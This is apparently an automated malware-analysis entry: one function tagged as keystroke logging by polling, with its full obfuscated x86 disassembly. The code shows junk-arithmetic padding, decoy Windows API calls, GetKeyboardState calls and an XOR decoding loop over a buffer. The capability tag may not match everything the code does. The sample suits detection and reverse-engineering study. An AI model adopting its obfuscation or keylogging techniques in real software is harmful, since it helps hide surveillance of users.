Function at 0x414320
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [0x41718c]
and eax, 0x4f
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
or ax, 0xd862
mov word [0x41718a], ax
movzx eax, word [0x41718a]
or eax, 0x56
mov byte [0x41718c], al
mov eax, dword [0x417190]
imul ax, ax, 0x5fc
mov word [0x41718a], ax
mov eax, dword [0x417190]
and eax, 0xffffffe3
mov byte [0x417188], al
movzx eax, byte [0x417188]
movzx eax, al
or ax, 0xc2c1
mov word [0x41718a], ax
movzx eax, byte [0x417188]
mov edx, 0xffffffbc
imul eax, edx
mov byte [0x41718c], al
mov eax, dword [0x417190]
sub ax, 0x5cf
mov word [0x41718a], ax
mov dword [ebp - 0x10], 0
mov eax, dword [0x417190]
sub eax, 0xa
mov byte [0x417188], al
movzx eax, word [0x41718a]
xor ax, 0xb29e
mov word [0x41718a], ax
movzx eax, byte [0x417188]
add eax, 0x30
mov byte [0x417188], al
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00412966
movzx edx, byte [0x417188]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 3
mov byte [0x417188], al
movzx eax, word [0x41718a]
movzx eax, ax
or eax, 0xee2ac097
mov dword [0x417190], eax
mov eax, dword [0x417190]
or eax, 0x1b
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
and eax, 0xffffff9b
mov byte [0x417188], al
mov dword [esp + 4], 0
mov dword [esp], 0x46
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
movzx eax, word [0x41718a]
or eax, 0xffffffc7
mov byte [0x41718c], al
movzx eax, word [0x41718a]
or ax, 0x462c
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
movzx eax, al
sub eax, 0x68c32403
mov dword [0x417190], eax
jmp 0x414c95
mov eax, dword [0x417190]
imul eax, eax, 0xd9e0511
mov dword [0x417190], eax
mov dword [esp + 4], 0
mov dword [esp], 0x57
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
mov eax, dword [0x417190]
xor eax, 0xffffffb5
mov byte [0x417188], al
movzx eax, word [0x41718a]
movzx eax, ax
and eax, 0x2b6472a5
mov dword [0x417190], eax
mov eax, dword [0x417190]
or eax, 0x71f08680
mov dword [0x417190], eax
movzx eax, word [0x41718a]
or eax, 0xffffffce
mov byte [0x417188], al
mov eax, dword [0x417190]
or eax, 0xffffffe3
mov byte [0x417188], al
call fcn.004084ce
mov byte [ebp - 0x15], al
mov eax, dword [0x417190]
or eax, 0xc05946e6
mov dword [0x417190], eax
movzx eax, byte [0x417188]
movzx eax, al
or eax, 0xe8a480cb
mov dword [0x417190], eax
movzx eax, word [0x41718a]
movzx eax, ax
and eax, 0xc987a761
mov dword [0x417190], eax
movzx eax, byte [ebp - 0x15]
and eax, 1
test eax, eax
jne 0x414938
movzx eax, word [0x41718a]
sub eax, 0x6f
mov byte [0x41718c], al
movzx eax, word [0x41718a]
sub ax, 0x3d73
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
movzx eax, al
add ax, 0x1a01
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
or eax, 0x6f
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
movzx eax, al
xor ax, 0x5c50
mov word [0x41718a], ax
movzx eax, byte [0x417188]
movzx eax, al
add eax, 0x2f576641
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
or eax, 0xffffffca
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
or eax, 0x52
mov byte [0x41718c], al
movzx eax, word [0x41718a]
sub eax, 0x1d
mov byte [0x41718c], al
movzx eax, word [0x41718a]
xor eax, 0xffffffaa
mov byte [0x417188], al
movzx eax, byte [0x417188]
sub eax, 0x17
mov byte [0x417188], al
call fcn.004084ce
movzx eax, al
mov dword [ebp - 0xc], eax
movzx eax, word [0x41718a]
movzx eax, ax
or eax, 0x9ba924ee
mov dword [0x417190], eax
mov eax, dword [0x417190]
or ax, 0xb5e
mov word [0x41718a], ax
movzx eax, word [0x41718a]
sub eax, 0x1c
mov byte [0x41718c], al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x77
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
jmp 0x414929
mov eax, dword [0x417190]
add eax, 0x66d9d31e
mov dword [0x417190], eax
mov eax, dword [0x417190]
and eax, 0x46
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
movzx eax, al
and eax, 0xab9167b5
mov dword [0x417190], eax
movzx eax, word [0x41718a]
and eax, 0xffffff8c
mov byte [0x417188], al
movzx eax, byte [0x41718c]
xor eax, 0xffffffc9
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
and eax, 0xc9dabc93
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
add eax, 2
mov byte [0x417188], al
movzx eax, word [0x41718a]
and eax, 0xffffffcf
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
movzx eax, al
imul ax, ax, 0x510f
mov word [0x41718a], ax
movzx eax, word [0x41718a]
sub eax, 0x2c
mov byte [0x41718c], al
movzx eax, word [0x41718a]
mov edx, 0x6d
imul eax, edx
mov byte [0x417188], al
movzx eax, byte [0x417188]
movzx eax, al
imul ax, ax, 0xf09d
mov word [0x41718a], ax
call fcn.004084ce
mov byte [ebp - 0x15], al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0xe9
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
movzx eax, byte [0x417188]
movzx eax, al
and eax, 0x5824360a
mov dword [0x417190], eax
mov eax, dword [0x417190]
sub ax, 0x77bc
mov word [0x41718a], ax
movzx eax, byte [0x417188]
sub eax, 0x63
mov byte [0x41718c], al
mov eax, dword [0x417190]
sub eax, 0x59d962e
mov dword [0x417190], eax
movzx eax, byte [0x417188]
movzx eax, al
and eax, 0x6205eb61
mov dword [0x417190], eax
add dword [ebp - 0x14], 1
mov dword [esp + 4], 0
mov dword [esp], 0xbd
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
movzx eax, byte [0x417188]
movzx eax, al
add ax, 0x45cf
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
mov edx, 0xffffffa5
imul eax, edx
mov byte [0x417188], al
sub dword [ebp + 0x10], 1
movzx eax, byte [0x41718c]
movzx eax, al
xor ax, 0x877f
mov word [0x41718a], ax
mov eax, dword [0x417190]
mov edx, 0x32
imul eax, edx
mov byte [0x41718c], al
mov eax, dword [0x417190]
imul ax, ax, 0xa0bc
mov word [0x41718a], ax
movzx eax, word [0x41718a]
mov edx, 0xffffffba
imul eax, edx
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
and ax, 0xbcf7
mov word [0x41718a], ax
movzx eax, word [0x41718a]
movzx eax, ax
xor eax, 0x8a89e13f
mov dword [0x417190], eax
cmp dword [ebp + 0x10], 0
jne 0x4148b8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov eax, dword [0x417190]
imul ax, ax, 0x2aa6
mov word [0x41718a], ax
mov eax, dword [0x417190]
imul ax, ax, 0x92db
mov word [0x41718a], ax
jmp 0x414c95
movzx eax, byte [0x417188]
movzx eax, al
or ax, 0xf9c6
mov word [0x41718a], ax
movzx eax, byte [0x417188]
movzx eax, al
or ax, 0xe7c8
mov word [0x41718a], ax
movzx eax, byte [0x417188]
movzx eax, al
or eax, 0x9bc74f80
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
add eax, 0x1a
mov byte [0x417188], al
mov eax, dword [0x417190]
or eax, 0xffffffc3
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
imul eax, eax, 0xbd7e5f57
mov dword [0x417190], eax
sub dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
jne 0x41466e
jmp 0x414c95
movzx eax, word [0x41718a]
or eax, 0xfffffff8
mov byte [0x41718c], al
movzx eax, byte [0x417188]
mov edx, 0xffffffb6
imul eax, edx
mov byte [0x417188], al
movzx eax, byte [0x417188]
movzx eax, al
or eax, 0xb0e642ac
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
movzx eax, al
imul eax, eax, 0x1605c35f
mov dword [0x417190], eax
mov eax, dword [0x417190]
add eax, 0x1d
mov byte [0x41718c], al
mov eax, dword [0x417190]
mov edx, 0xffffffbd
imul eax, edx
mov byte [0x41718c], al
movzx eax, word [0x41718a]
movzx eax, ax
sub eax, 0x675cecc2
mov dword [0x417190], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
call fcn.004084ce
movzx eax, al
mov dword [ebp - 0x10], eax
movzx eax, word [0x41718a]
xor eax, 0xffffffdf
mov byte [0x41718c], al
movzx eax, byte [0x417188]
or eax, 0x3c
mov byte [0x417188], al
mov eax, dword [0x417190]
sub eax, 0x7f9bb411
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
movzx eax, al
sub ax, 0x207f
mov word [0x41718a], ax
mov dword [esp + 4], 0
mov dword [esp], 0x61
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
jmp 0x414c8b
movzx eax, byte [0x41718c]
movzx eax, al
and eax, 0x966a84b8
mov dword [0x417190], eax
movzx eax, word [0x41718a]
or eax, 0x2e
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
imul eax, eax, 0x7e2bacb3
mov dword [0x417190], eax
movzx eax, byte [0x417188]
movzx eax, al
xor eax, 0x65c19d8e
mov dword [0x417190], eax
movzx eax, byte [0x417188]
movzx eax, al
and ax, 0xf4d5
mov word [0x41718a], ax
movzx eax, word [0x41718a]
movzx eax, ax
and eax, 0x609edfaa
mov dword [0x417190], eax
movzx eax, word [0x41718a]
xor ax, 0xeecc
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
or eax, 0x5b
mov byte [0x417188], al
movzx eax, byte [0x417188]
add eax, 1
mov byte [0x41718c], al
movzx eax, word [0x41718a]
and eax, 0x54
mov byte [0x41718c], al
movzx eax, byte [0x41718c]
movzx eax, al
or eax, 0x12a742fa
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
add eax, 0xe
mov byte [0x41718c], al
movzx eax, byte [0x417188]
movzx eax, al
sub ax, 0x17bc
mov word [0x41718a], ax
call fcn.004084ce
mov byte [ebp - 0x15], al
movzx eax, byte [0x41718c]
movzx eax, al
xor eax, 0xd74a704b
mov dword [0x417190], eax
movzx eax, word [0x41718a]
movzx eax, ax
sub eax, 0x560037ea
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
movzx eax, al
sub eax, 0x1094c952
mov dword [0x417190], eax
movzx eax, byte [0x41718c]
xor eax, 0x70
mov byte [0x41718c], al
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x14]
add edx, ecx
xor al, byte [ebp - 0x15]
mov byte [edx], al
movzx eax, byte [0x417188]
mov edx, 0x16
imul eax, edx
mov byte [0x41718c], al
mov eax, dword [0x417190]
sub ax, 0x1ce5
mov word [0x41718a], ax
movzx eax, byte [0x41718c]
movzx eax, al
and ax, 0xdc24
mov word [0x41718a], ax
add dword [ebp - 0x14], 1
mov eax, dword [0x417190]
mov edx, 0xffffffa1
imul eax, edx
mov byte [0x417188], al
movzx eax, word [0x41718a]
movzx eax, ax
add eax, 0x3fd30cd6
mov dword [0x417190], eax
movzx eax, byte [0x417188]
xor eax, 0x3f
mov byte [0x417188], al
sub dword [ebp + 0x10], 1
mov dword [esp], 0xb2
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
movzx eax, byte [0x417188]
sub eax, 0x76
mov byte [0x41718c], al
movzx eax, byte [0x417188]
or eax, 0xffffffde
mov byte [0x417188], al
movzx eax, byte [0x41718c]
movzx eax, al
sub ax, 0x3780
mov word [0x41718a], ax
cmp dword [ebp + 0x10], 0
jne 0x414c87
movzx eax, word [0x41718a]
and eax, 0x4b
mov byte [0x41718c], al
movzx eax, byte [0x417188]
and eax, 0x7a
mov byte [0x417188], al
movzx eax, byte [0x41718c]
movzx eax, al
imul eax, eax, 0x952a36fd
mov dword [0x417190], eax
movzx eax, word [0x41718a]
add eax, 0x3a
mov byte [0x41718c], al
jmp 0x414c95
sub dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0
jne 0x414a32
cmp dword [ebp + 0x10], 0
jne 0x41448a
nop
nop
leave
ret